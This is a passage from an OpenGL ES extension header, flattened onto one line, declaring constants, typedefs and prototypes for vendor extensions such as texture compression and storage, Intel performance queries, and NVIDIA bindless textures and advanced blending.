GL_COMPRESSED_RGBA_S3TC_DXT1_EXT 0x83F1 #endif /* GL_EXT_texture_compression_dxt1 */ #ifndef GL_EXT_texture_compression_rgtc #define GL_EXT_texture_compression_rgtc 1 #define GL_COMPRESSED_RED_RGTC1_EXT 0x8DBB #define GL_COMPRESSED_SIGNED_RED_RGTC1_EXT 0x8DBC #define GL_COMPRESSED_RED_GREEN_RGTC2_EXT 0x8DBD #define GL_COMPRESSED_SIGNED_RED_GREEN_RGTC2_EXT 0x8DBE #endif /* GL_EXT_texture_compression_rgtc */ #ifndef GL_EXT_texture_compression_s3tc #define GL_EXT_texture_compression_s3tc 1 #define GL_COMPRESSED_RGBA_S3TC_DXT3_EXT 0x83F2 #define GL_COMPRESSED_RGBA_S3TC_DXT5_EXT 0x83F3 #endif /* GL_EXT_texture_compression_s3tc */ #ifndef GL_EXT_texture_compression_s3tc_srgb #define GL_EXT_texture_compression_s3tc_srgb 1 #define GL_COMPRESSED_SRGB_S3TC_DXT1_EXT 0x8C4C #define GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT1_EXT 0x8C4D #define GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT3_EXT 0x8C4E #define GL_COMPRESSED_SRGB_ALPHA_S3TC_DXT5_EXT 0x8C4F #endif /* GL_EXT_texture_compression_s3tc_srgb */ #ifndef GL_EXT_texture_cube_map_array #define GL_EXT_texture_cube_map_array 1 #define GL_TEXTURE_CUBE_MAP_ARRAY_EXT 0x9009 #define GL_TEXTURE_BINDING_CUBE_MAP_ARRAY_EXT 0x900A #define GL_SAMPLER_CUBE_MAP_ARRAY_EXT 0x900C #define GL_SAMPLER_CUBE_MAP_ARRAY_SHADOW_EXT 0x900D #define GL_INT_SAMPLER_CUBE_MAP_ARRAY_EXT 0x900E #define GL_UNSIGNED_INT_SAMPLER_CUBE_MAP_ARRAY_EXT 0x900F #define GL_IMAGE_CUBE_MAP_ARRAY_EXT 0x9054 #define GL_INT_IMAGE_CUBE_MAP_ARRAY_EXT 0x905F #define GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY_EXT 0x906A #endif /* GL_EXT_texture_cube_map_array */ #ifndef GL_EXT_texture_filter_anisotropic #define GL_EXT_texture_filter_anisotropic 1 #define GL_TEXTURE_MAX_ANISOTROPY_EXT 0x84FE #define GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT 0x84FF #endif /* GL_EXT_texture_filter_anisotropic */ #ifndef GL_EXT_texture_filter_minmax #define GL_EXT_texture_filter_minmax 1 #define GL_TEXTURE_REDUCTION_MODE_EXT 0x9366 #define GL_WEIGHTED_AVERAGE_EXT 0x9367 #endif /* GL_EXT_texture_filter_minmax */ #ifndef GL_EXT_texture_format_BGRA8888 #define GL_EXT_texture_format_BGRA8888 1 #endif /* GL_EXT_texture_format_BGRA8888 */ #ifndef GL_EXT_texture_format_sRGB_override #define GL_EXT_texture_format_sRGB_override 1 #define GL_TEXTURE_FORMAT_SRGB_OVERRIDE_EXT 0x8FBF #endif /* GL_EXT_texture_format_sRGB_override */ #ifndef GL_EXT_texture_mirror_clamp_to_edge #define GL_EXT_texture_mirror_clamp_to_edge 1 #define GL_MIRROR_CLAMP_TO_EDGE_EXT 0x8743 #endif /* GL_EXT_texture_mirror_clamp_to_edge */ #ifndef GL_EXT_texture_norm16 #define GL_EXT_texture_norm16 1 #define GL_R16_EXT 0x822A #define GL_RG16_EXT 0x822C #define GL_RGBA16_EXT 0x805B #define GL_RGB16_EXT 0x8054 #define GL_RGB16_SNORM_EXT 0x8F9A #endif /* GL_EXT_texture_norm16 */ #ifndef GL_EXT_texture_query_lod #define GL_EXT_texture_query_lod 1 #endif /* GL_EXT_texture_query_lod */ #ifndef GL_EXT_texture_rg #define GL_EXT_texture_rg 1 #define GL_RED_EXT 0x1903 #define GL_RG_EXT 0x8227 #define GL_R8_EXT 0x8229 #define GL_RG8_EXT 0x822B #endif /* GL_EXT_texture_rg */ #ifndef GL_EXT_texture_sRGB_R8 #define GL_EXT_texture_sRGB_R8 1 #define GL_SR8_EXT 0x8FBD #endif /* GL_EXT_texture_sRGB_R8 */ #ifndef GL_EXT_texture_sRGB_RG8 #define GL_EXT_texture_sRGB_RG8 1 #define GL_SRG8_EXT 0x8FBE #endif /* GL_EXT_texture_sRGB_RG8 */ #ifndef GL_EXT_texture_sRGB_decode #define GL_EXT_texture_sRGB_decode 1 #define GL_TEXTURE_SRGB_DECODE_EXT 0x8A48 #define GL_DECODE_EXT 0x8A49 #define GL_SKIP_DECODE_EXT 0x8A4A #endif /* GL_EXT_texture_sRGB_decode */ #ifndef GL_EXT_texture_shadow_lod #define GL_EXT_texture_shadow_lod 1 #endif /* GL_EXT_texture_shadow_lod */ #ifndef GL_EXT_texture_storage #define GL_EXT_texture_storage 1 #define GL_TEXTURE_IMMUTABLE_FORMAT_EXT 0x912F #define GL_ALPHA8_EXT 0x803C #define GL_LUMINANCE8_EXT 0x8040 #define GL_LUMINANCE8_ALPHA8_EXT 0x8045 #define GL_RGBA32F_EXT 0x8814 #define GL_RGB32F_EXT 0x8815 #define GL_ALPHA32F_EXT 0x8816 #define GL_LUMINANCE32F_EXT 0x8818 #define GL_LUMINANCE_ALPHA32F_EXT 0x8819 #define GL_ALPHA16F_EXT 0x881C #define GL_LUMINANCE16F_EXT 0x881E #define GL_LUMINANCE_ALPHA16F_EXT 0x881F #define GL_R32F_EXT 0x822E #define GL_RG32F_EXT 0x8230 typedef void (GL_APIENTRYP PFNGLTEXSTORAGE1DEXTPROC) (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); typedef void (GL_APIENTRYP PFNGLTEXSTORAGE2DEXTPROC) (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLTEXSTORAGE3DEXTPROC) (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGE1DEXTPROC) (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGE2DEXTPROC) (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGE3DEXTPROC) (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTexStorage1DEXT (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); GL_APICALL void GL_APIENTRY glTexStorage2DEXT (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glTexStorage3DEXT (GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); GL_APICALL void GL_APIENTRY glTextureStorage1DEXT (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width); GL_APICALL void GL_APIENTRY glTextureStorage2DEXT (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glTextureStorage3DEXT (GLuint texture, GLenum target, GLsizei levels, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth); #endif #endif /* GL_EXT_texture_storage */ #ifndef GL_EXT_texture_type_2_10_10_10_REV #define GL_EXT_texture_type_2_10_10_10_REV 1 #define GL_UNSIGNED_INT_2_10_10_10_REV_EXT 0x8368 #endif /* GL_EXT_texture_type_2_10_10_10_REV */ #ifndef GL_EXT_texture_view #define GL_EXT_texture_view 1 #define GL_TEXTURE_VIEW_MIN_LEVEL_EXT 0x82DB #define GL_TEXTURE_VIEW_NUM_LEVELS_EXT 0x82DC #define GL_TEXTURE_VIEW_MIN_LAYER_EXT 0x82DD #define GL_TEXTURE_VIEW_NUM_LAYERS_EXT 0x82DE typedef void (GL_APIENTRYP PFNGLTEXTUREVIEWEXTPROC) (GLuint texture, GLenum target, GLuint origtexture, GLenum internalformat, GLuint minlevel, GLuint numlevels, GLuint minlayer, GLuint numlayers); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glTextureViewEXT (GLuint texture, GLenum target, GLuint origtexture, GLenum internalformat, GLuint minlevel, GLuint numlevels, GLuint minlayer, GLuint numlayers); #endif #endif /* GL_EXT_texture_view */ #ifndef GL_EXT_unpack_subimage #define GL_EXT_unpack_subimage 1 #define GL_UNPACK_ROW_LENGTH_EXT 0x0CF2 #define GL_UNPACK_SKIP_ROWS_EXT 0x0CF3 #define GL_UNPACK_SKIP_PIXELS_EXT 0x0CF4 #endif /* GL_EXT_unpack_subimage */ #ifndef GL_EXT_win32_keyed_mutex #define GL_EXT_win32_keyed_mutex 1 typedef GLboolean (GL_APIENTRYP PFNGLACQUIREKEYEDMUTEXWIN32EXTPROC) (GLuint memory, GLuint64 key, GLuint timeout); typedef GLboolean (GL_APIENTRYP PFNGLRELEASEKEYEDMUTEXWIN32EXTPROC) (GLuint memory, GLuint64 key); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL GLboolean GL_APIENTRY glAcquireKeyedMutexWin32EXT (GLuint memory, GLuint64 key, GLuint timeout); GL_APICALL GLboolean GL_APIENTRY glReleaseKeyedMutexWin32EXT (GLuint memory, GLuint64 key); #endif #endif /* GL_EXT_win32_keyed_mutex */ #ifndef GL_EXT_window_rectangles #define GL_EXT_window_rectangles 1 #define GL_INCLUSIVE_EXT 0x8F10 #define GL_EXCLUSIVE_EXT 0x8F11 #define GL_WINDOW_RECTANGLE_EXT 0x8F12 #define GL_WINDOW_RECTANGLE_MODE_EXT 0x8F13 #define GL_MAX_WINDOW_RECTANGLES_EXT 0x8F14 #define GL_NUM_WINDOW_RECTANGLES_EXT 0x8F15 typedef void (GL_APIENTRYP PFNGLWINDOWRECTANGLESEXTPROC) (GLenum mode, GLsizei count, const GLint *box); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glWindowRectanglesEXT (GLenum mode, GLsizei count, const GLint *box); #endif #endif /* GL_EXT_window_rectangles */ #ifndef GL_FJ_shader_binary_GCCSO #define GL_FJ_shader_binary_GCCSO 1 #define GL_GCCSO_SHADER_BINARY_FJ 0x9260 #endif /* GL_FJ_shader_binary_GCCSO */ #ifndef GL_IMG_bindless_texture #define GL_IMG_bindless_texture 1 typedef GLuint64 (GL_APIENTRYP PFNGLGETTEXTUREHANDLEIMGPROC) (GLuint texture); typedef GLuint64 (GL_APIENTRYP PFNGLGETTEXTURESAMPLERHANDLEIMGPROC) (GLuint texture, GLuint sampler); typedef void (GL_APIENTRYP PFNGLUNIFORMHANDLEUI64IMGPROC) (GLint location, GLuint64 value); typedef void (GL_APIENTRYP PFNGLUNIFORMHANDLEUI64VIMGPROC) (GLint location, GLsizei count, const GLuint64 *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMHANDLEUI64IMGPROC) (GLuint program, GLint location, GLuint64 value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMHANDLEUI64VIMGPROC) (GLuint program, GLint location, GLsizei count, const GLuint64 *values); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL GLuint64 GL_APIENTRY glGetTextureHandleIMG (GLuint texture); GL_APICALL GLuint64 GL_APIENTRY glGetTextureSamplerHandleIMG (GLuint texture, GLuint sampler); GL_APICALL void GL_APIENTRY glUniformHandleui64IMG (GLint location, GLuint64 value); GL_APICALL void GL_APIENTRY glUniformHandleui64vIMG (GLint location, GLsizei count, const GLuint64 *value); GL_APICALL void GL_APIENTRY glProgramUniformHandleui64IMG (GLuint program, GLint location, GLuint64 value); GL_APICALL void GL_APIENTRY glProgramUniformHandleui64vIMG (GLuint program, GLint location, GLsizei count, const GLuint64 *values); #endif #endif /* GL_IMG_bindless_texture */ #ifndef GL_IMG_framebuffer_downsample #define GL_IMG_framebuffer_downsample 1 #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_AND_DOWNSAMPLE_IMG 0x913C #define GL_NUM_DOWNSAMPLE_SCALES_IMG 0x913D #define GL_DOWNSAMPLE_SCALES_IMG 0x913E #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_SCALE_IMG 0x913F typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE2DDOWNSAMPLEIMGPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLint xscale, GLint yscale); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURELAYERDOWNSAMPLEIMGPROC) (GLenum target, GLenum attachment, GLuint texture, GLint level, GLint layer, GLint xscale, GLint yscale); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferTexture2DDownsampleIMG (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLint xscale, GLint yscale); GL_APICALL void GL_APIENTRY glFramebufferTextureLayerDownsampleIMG (GLenum target, GLenum attachment, GLuint texture, GLint level, GLint layer, GLint xscale, GLint yscale); #endif #endif /* GL_IMG_framebuffer_downsample */ #ifndef GL_IMG_multisampled_render_to_texture #define GL_IMG_multisampled_render_to_texture 1 #define GL_RENDERBUFFER_SAMPLES_IMG 0x9133 #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_IMG 0x9134 #define GL_MAX_SAMPLES_IMG 0x9135 #define GL_TEXTURE_SAMPLES_IMG 0x9136 typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEIMGPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE2DMULTISAMPLEIMGPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glRenderbufferStorageMultisampleIMG (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glFramebufferTexture2DMultisampleIMG (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #endif #endif /* GL_IMG_multisampled_render_to_texture */ #ifndef GL_IMG_program_binary #define GL_IMG_program_binary 1 #define GL_SGX_PROGRAM_BINARY_IMG 0x9130 #endif /* GL_IMG_program_binary */ #ifndef GL_IMG_read_format #define GL_IMG_read_format 1 #define GL_BGRA_IMG 0x80E1 #define GL_UNSIGNED_SHORT_4_4_4_4_REV_IMG 0x8365 #endif /* GL_IMG_read_format */ #ifndef GL_IMG_shader_binary #define GL_IMG_shader_binary 1 #define GL_SGX_BINARY_IMG 0x8C0A #endif /* GL_IMG_shader_binary */ #ifndef GL_IMG_texture_compression_pvrtc #define GL_IMG_texture_compression_pvrtc 1 #define GL_COMPRESSED_RGB_PVRTC_4BPPV1_IMG 0x8C00 #define GL_COMPRESSED_RGB_PVRTC_2BPPV1_IMG 0x8C01 #define GL_COMPRESSED_RGBA_PVRTC_4BPPV1_IMG 0x8C02 #define GL_COMPRESSED_RGBA_PVRTC_2BPPV1_IMG 0x8C03 #endif /* GL_IMG_texture_compression_pvrtc */ #ifndef GL_IMG_texture_compression_pvrtc2 #define GL_IMG_texture_compression_pvrtc2 1 #define GL_COMPRESSED_RGBA_PVRTC_2BPPV2_IMG 0x9137 #define GL_COMPRESSED_RGBA_PVRTC_4BPPV2_IMG 0x9138 #endif /* GL_IMG_texture_compression_pvrtc2 */ #ifndef GL_IMG_texture_filter_cubic #define GL_IMG_texture_filter_cubic 1 #define GL_CUBIC_IMG 0x9139 #define GL_CUBIC_MIPMAP_NEAREST_IMG 0x913A #define GL_CUBIC_MIPMAP_LINEAR_IMG 0x913B #endif /* GL_IMG_texture_filter_cubic */ #ifndef GL_INTEL_blackhole_render #define GL_INTEL_blackhole_render 1 #define GL_BLACKHOLE_RENDER_INTEL 0x83FC #endif /* GL_INTEL_blackhole_render */ #ifndef GL_INTEL_conservative_rasterization #define GL_INTEL_conservative_rasterization 1 #define GL_CONSERVATIVE_RASTERIZATION_INTEL 0x83FE #endif /* GL_INTEL_conservative_rasterization */ #ifndef GL_INTEL_framebuffer_CMAA #define GL_INTEL_framebuffer_CMAA 1 typedef void (GL_APIENTRYP PFNGLAPPLYFRAMEBUFFERATTACHMENTCMAAINTELPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glApplyFramebufferAttachmentCMAAINTEL (void); #endif #endif /* GL_INTEL_framebuffer_CMAA */ #ifndef GL_INTEL_performance_query #define GL_INTEL_performance_query 1 #define GL_PERFQUERY_SINGLE_CONTEXT_INTEL 0x00000000 #define GL_PERFQUERY_GLOBAL_CONTEXT_INTEL 0x00000001 #define GL_PERFQUERY_WAIT_INTEL 0x83FB #define GL_PERFQUERY_FLUSH_INTEL 0x83FA #define GL_PERFQUERY_DONOT_FLUSH_INTEL 0x83F9 #define GL_PERFQUERY_COUNTER_EVENT_INTEL 0x94F0 #define GL_PERFQUERY_COUNTER_DURATION_NORM_INTEL 0x94F1 #define GL_PERFQUERY_COUNTER_DURATION_RAW_INTEL 0x94F2 #define GL_PERFQUERY_COUNTER_THROUGHPUT_INTEL 0x94F3 #define GL_PERFQUERY_COUNTER_RAW_INTEL 0x94F4 #define GL_PERFQUERY_COUNTER_TIMESTAMP_INTEL 0x94F5 #define GL_PERFQUERY_COUNTER_DATA_UINT32_INTEL 0x94F8 #define GL_PERFQUERY_COUNTER_DATA_UINT64_INTEL 0x94F9 #define GL_PERFQUERY_COUNTER_DATA_FLOAT_INTEL 0x94FA #define GL_PERFQUERY_COUNTER_DATA_DOUBLE_INTEL 0x94FB #define GL_PERFQUERY_COUNTER_DATA_BOOL32_INTEL 0x94FC #define GL_PERFQUERY_QUERY_NAME_LENGTH_MAX_INTEL 0x94FD #define GL_PERFQUERY_COUNTER_NAME_LENGTH_MAX_INTEL 0x94FE #define GL_PERFQUERY_COUNTER_DESC_LENGTH_MAX_INTEL 0x94FF #define GL_PERFQUERY_GPA_EXTENDED_COUNTERS_INTEL 0x9500 typedef void (GL_APIENTRYP PFNGLBEGINPERFQUERYINTELPROC) (GLuint queryHandle); typedef void (GL_APIENTRYP PFNGLCREATEPERFQUERYINTELPROC) (GLuint queryId, GLuint *queryHandle); typedef void (GL_APIENTRYP PFNGLDELETEPERFQUERYINTELPROC) (GLuint queryHandle); typedef void (GL_APIENTRYP PFNGLENDPERFQUERYINTELPROC) (GLuint queryHandle); typedef void (GL_APIENTRYP PFNGLGETFIRSTPERFQUERYIDINTELPROC) (GLuint *queryId); typedef void (GL_APIENTRYP PFNGLGETNEXTPERFQUERYIDINTELPROC) (GLuint queryId, GLuint *nextQueryId); typedef void (GL_APIENTRYP PFNGLGETPERFCOUNTERINFOINTELPROC) (GLuint queryId, GLuint counterId, GLuint counterNameLength, GLchar *counterName, GLuint counterDescLength, GLchar *counterDesc, GLuint *counterOffset, GLuint *counterDataSize, GLuint *counterTypeEnum, GLuint *counterDataTypeEnum, GLuint64 *rawCounterMaxValue); typedef void (GL_APIENTRYP PFNGLGETPERFQUERYDATAINTELPROC) (GLuint queryHandle, GLuint flags, GLsizei dataSize, void *data, GLuint *bytesWritten); typedef void (GL_APIENTRYP PFNGLGETPERFQUERYIDBYNAMEINTELPROC) (GLchar *queryName, GLuint *queryId); typedef void (GL_APIENTRYP PFNGLGETPERFQUERYINFOINTELPROC) (GLuint queryId, GLuint queryNameLength, GLchar *queryName, GLuint *dataSize, GLuint *noCounters, GLuint *noInstances, GLuint *capsMask); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBeginPerfQueryINTEL (GLuint queryHandle); GL_APICALL void GL_APIENTRY glCreatePerfQueryINTEL (GLuint queryId, GLuint *queryHandle); GL_APICALL void GL_APIENTRY glDeletePerfQueryINTEL (GLuint queryHandle); GL_APICALL void GL_APIENTRY glEndPerfQueryINTEL (GLuint queryHandle); GL_APICALL void GL_APIENTRY glGetFirstPerfQueryIdINTEL (GLuint *queryId); GL_APICALL void GL_APIENTRY glGetNextPerfQueryIdINTEL (GLuint queryId, GLuint *nextQueryId); GL_APICALL void GL_APIENTRY glGetPerfCounterInfoINTEL (GLuint queryId, GLuint counterId, GLuint counterNameLength, GLchar *counterName, GLuint counterDescLength, GLchar *counterDesc, GLuint *counterOffset, GLuint *counterDataSize, GLuint *counterTypeEnum, GLuint *counterDataTypeEnum, GLuint64 *rawCounterMaxValue); GL_APICALL void GL_APIENTRY glGetPerfQueryDataINTEL (GLuint queryHandle, GLuint flags, GLsizei dataSize, void *data, GLuint *bytesWritten); GL_APICALL void GL_APIENTRY glGetPerfQueryIdByNameINTEL (GLchar *queryName, GLuint *queryId); GL_APICALL void GL_APIENTRY glGetPerfQueryInfoINTEL (GLuint queryId, GLuint queryNameLength, GLchar *queryName, GLuint *dataSize, GLuint *noCounters, GLuint *noInstances, GLuint *capsMask); #endif #endif /* GL_INTEL_performance_query */ #ifndef GL_MESA_framebuffer_flip_y #define GL_MESA_framebuffer_flip_y 1 #define GL_FRAMEBUFFER_FLIP_Y_MESA 0x8BBB typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERPARAMETERIMESAPROC) (GLenum target, GLenum pname, GLint param); typedef void (GL_APIENTRYP PFNGLGETFRAMEBUFFERPARAMETERIVMESAPROC) (GLenum target, GLenum pname, GLint *params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferParameteriMESA (GLenum target, GLenum pname, GLint param); GL_APICALL void GL_APIENTRY glGetFramebufferParameterivMESA (GLenum target, GLenum pname, GLint *params); #endif #endif /* GL_MESA_framebuffer_flip_y */ #ifndef GL_MESA_program_binary_formats #define GL_MESA_program_binary_formats 1 #define GL_PROGRAM_BINARY_FORMAT_MESA 0x875F #endif /* GL_MESA_program_binary_formats */ #ifndef GL_MESA_shader_integer_functions #define GL_MESA_shader_integer_functions 1 #endif /* GL_MESA_shader_integer_functions */ #ifndef GL_NVX_blend_equation_advanced_multi_draw_buffers #define GL_NVX_blend_equation_advanced_multi_draw_buffers 1 #endif /* GL_NVX_blend_equation_advanced_multi_draw_buffers */ #ifndef GL_NV_bindless_texture #define GL_NV_bindless_texture 1 typedef GLuint64 (GL_APIENTRYP PFNGLGETTEXTUREHANDLENVPROC) (GLuint texture); typedef GLuint64 (GL_APIENTRYP PFNGLGETTEXTURESAMPLERHANDLENVPROC) (GLuint texture, GLuint sampler); typedef void (GL_APIENTRYP PFNGLMAKETEXTUREHANDLERESIDENTNVPROC) (GLuint64 handle); typedef void (GL_APIENTRYP PFNGLMAKETEXTUREHANDLENONRESIDENTNVPROC) (GLuint64 handle); typedef GLuint64 (GL_APIENTRYP PFNGLGETIMAGEHANDLENVPROC) (GLuint texture, GLint level, GLboolean layered, GLint layer, GLenum format); typedef void (GL_APIENTRYP PFNGLMAKEIMAGEHANDLERESIDENTNVPROC) (GLuint64 handle, GLenum access); typedef void (GL_APIENTRYP PFNGLMAKEIMAGEHANDLENONRESIDENTNVPROC) (GLuint64 handle); typedef void (GL_APIENTRYP PFNGLUNIFORMHANDLEUI64NVPROC) (GLint location, GLuint64 value); typedef void (GL_APIENTRYP PFNGLUNIFORMHANDLEUI64VNVPROC) (GLint location, GLsizei count, const GLuint64 *value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMHANDLEUI64NVPROC) (GLuint program, GLint location, GLuint64 value); typedef void (GL_APIENTRYP PFNGLPROGRAMUNIFORMHANDLEUI64VNVPROC) (GLuint program, GLint location, GLsizei count, const GLuint64 *values); typedef GLboolean (GL_APIENTRYP PFNGLISTEXTUREHANDLERESIDENTNVPROC) (GLuint64 handle); typedef GLboolean (GL_APIENTRYP PFNGLISIMAGEHANDLERESIDENTNVPROC) (GLuint64 handle); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL GLuint64 GL_APIENTRY glGetTextureHandleNV (GLuint texture); GL_APICALL GLuint64 GL_APIENTRY glGetTextureSamplerHandleNV (GLuint texture, GLuint sampler); GL_APICALL void GL_APIENTRY glMakeTextureHandleResidentNV (GLuint64 handle); GL_APICALL void GL_APIENTRY glMakeTextureHandleNonResidentNV (GLuint64 handle); GL_APICALL GLuint64 GL_APIENTRY glGetImageHandleNV (GLuint texture, GLint level, GLboolean layered, GLint layer, GLenum format); GL_APICALL void GL_APIENTRY glMakeImageHandleResidentNV (GLuint64 handle, GLenum access); GL_APICALL void GL_APIENTRY glMakeImageHandleNonResidentNV (GLuint64 handle); GL_APICALL void GL_APIENTRY glUniformHandleui64NV (GLint location, GLuint64 value); GL_APICALL void GL_APIENTRY glUniformHandleui64vNV (GLint location, GLsizei count, const GLuint64 *value); GL_APICALL void GL_APIENTRY glProgramUniformHandleui64NV (GLuint program, GLint location, GLuint64 value); GL_APICALL void GL_APIENTRY glProgramUniformHandleui64vNV (GLuint program, GLint location, GLsizei count, const GLuint64 *values); GL_APICALL GLboolean GL_APIENTRY glIsTextureHandleResidentNV (GLuint64 handle); GL_APICALL GLboolean GL_APIENTRY glIsImageHandleResidentNV (GLuint64 handle); #endif #endif /* GL_NV_bindless_texture */ #ifndef GL_NV_blend_equation_advanced #define GL_NV_blend_equation_advanced 1 #define GL_BLEND_OVERLAP_NV 0x9281 #define GL_BLEND_PREMULTIPLIED_SRC_NV 0x9280 #define GL_BLUE_NV 0x1905 #define GL_COLORBURN_NV 0x929A #define GL_COLORDODGE_NV 0x9299 #define GL_CONJOINT_NV 0x9284 #define GL_CONTRAST_NV 0x92A1 #define GL_DARKEN_NV 0x9297 #define GL_DIFFERENCE_NV 0x929E #define GL_DISJOINT_NV 0x9283 #define GL_DST_ATOP_NV 0x928F #define GL_DST_IN_NV 0x928B #define GL_DST_NV 0x9287 #define GL_DST_OUT_NV 0x928D #define GL_DST_OVER_NV 0x9289 #define GL_EXCLUSION_NV 0x92A0 #define GL_GREEN_NV 0x1904 #define GL_HARDLIGHT_NV 0x929B #define GL_HARDMIX_NV 0x92A9 #define GL_HSL_COLOR_NV 0x92AF #define GL_HSL_HUE_NV 0x92AD #define GL_HSL_LUMINOSITY_NV 0x92B0 #define GL_HSL_SATURATION_NV 0x92AE #define GL_INVERT_OVG_NV 0x92B4 #define GL_INVERT_RGB_NV 0x92A3 #define GL_LIGHTEN_NV 0x9298 #define GL_LINEARBURN_NV 0x92A5 #define GL_LINEARDODGE_NV 0x92A4 #define GL_LINEARLIGHT_NV 0x92A7 #define GL_MINUS_CLAMPED_NV 0x92B3 #define GL_MINUS_NV 0x929F #define GL_MULTIPLY_NV 0x9294 #define GL_OVERLAY_NV 0x9296 #define GL_PINLIGHT_NV 0x92A8 #define GL_PLUS_CLAMPED_ALPHA_NV 0x92B2 #define GL_PLUS_CLAMPED_NV 0x92B1 #define GL_PLUS_DARKER_NV 0x9292 #define GL_PLUS_NV 0x9291 #define GL_RED_NV 0x1903 #define GL_SCREEN_NV 0x9295 #define GL_SOFTLIGHT_NV 0x929C #define GL_SRC_ATOP_NV 0x928E #define GL_SRC_IN_NV 0x928A #define GL_SRC_NV 0x9286 #define GL_SRC_OUT_NV 0x928C #define GL_SRC_OVER_NV 0x9288 #define GL_UNCORRELATED_NV 0x9282 #define GL_VIVIDLIGHT_NV 0x92A6 #define GL_XOR_NV 0x1506 typedef void (GL_APIENTRYP PFNGLBLENDPARAMETERINVPROC) (GLenum pname, GLint value); typedef void (GL_APIENTRYP PFNGLBLENDBARRIERNVPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBlendParameteriNV (GLenum pname, GLint value); GL_APICALL void GL_APIENTRY glBlendBarrierNV (void); #endif #endif /* GL_NV_blend_equation_advanced */ #ifndef GL_NV_blend_equation_advanced_coherent #define GL_NV_blend_equation_advanced_coherent 1 #define GL_BLEND_ADVANCED_COHERENT_NV 0x9285 #endif /* GL_NV_blend_equation_advanced_coherent */ #ifndef GL_NV_blend_minmax_factor #define GL_NV_blend_minmax_factor 1 #define GL_FACTOR_MIN_AMD 0x901C #define GL_FACTOR_MAX_AMD 0x901D #endif /* GL_NV_blend_minmax_factor */ #ifndef GL_NV_clip_space_w_scaling #define GL_NV_clip_space_w_scaling 1 #define GL_VIEWPORT_POSITION_W_SCALE_NV 0x937C #define GL_VIEWPORT_POSITION_W_SCALE_X_COEFF_NV 0x937D #define GL_VIEWPORT_POSITION_W_SCALE_Y_COEFF_NV 0x937E typedef void (GL_APIENTRYP PFNGLVIEWPORTPOSITIONWSCALENVPROC) (GLuint index, GLfloat xcoeff, GLfloat ycoeff); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glViewportPositionWScaleNV (GLuint index, GLfloat xcoeff, GLfloat ycoeff); #endif #endif /* GL_NV_clip_space_w_scaling */ #ifndef GL_NV_compute_shader_derivatives #define GL_NV_compute_shader_derivatives 1 #endif /* GL_NV_compute_shader_derivatives */ #ifndef GL_NV_conditional_render #define GL_NV_conditional_render 1 #define GL_QUERY_WAIT_NV 0x8E13 #define GL_QUERY_NO_WAIT_NV 0x8E14 #define GL_QUERY_BY_REGION_WAIT_NV 0x8E15 #define GL_QUERY_BY_REGION_NO_WAIT_NV 0x8E16 typedef void (GL_APIENTRYP PFNGLBEGINCONDITIONALRENDERNVPROC) (GLuint id, GLenum mode); typedef void (GL_APIENTRYP PFNGLENDCONDITIONALRENDERNVPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBeginConditionalRenderNV (GLuint id, GLenum mode); GL_APICALL void GL_APIENTRY glEndConditionalRenderNV (void); #endif #endif /* GL_NV_conditional_render */ #ifndef 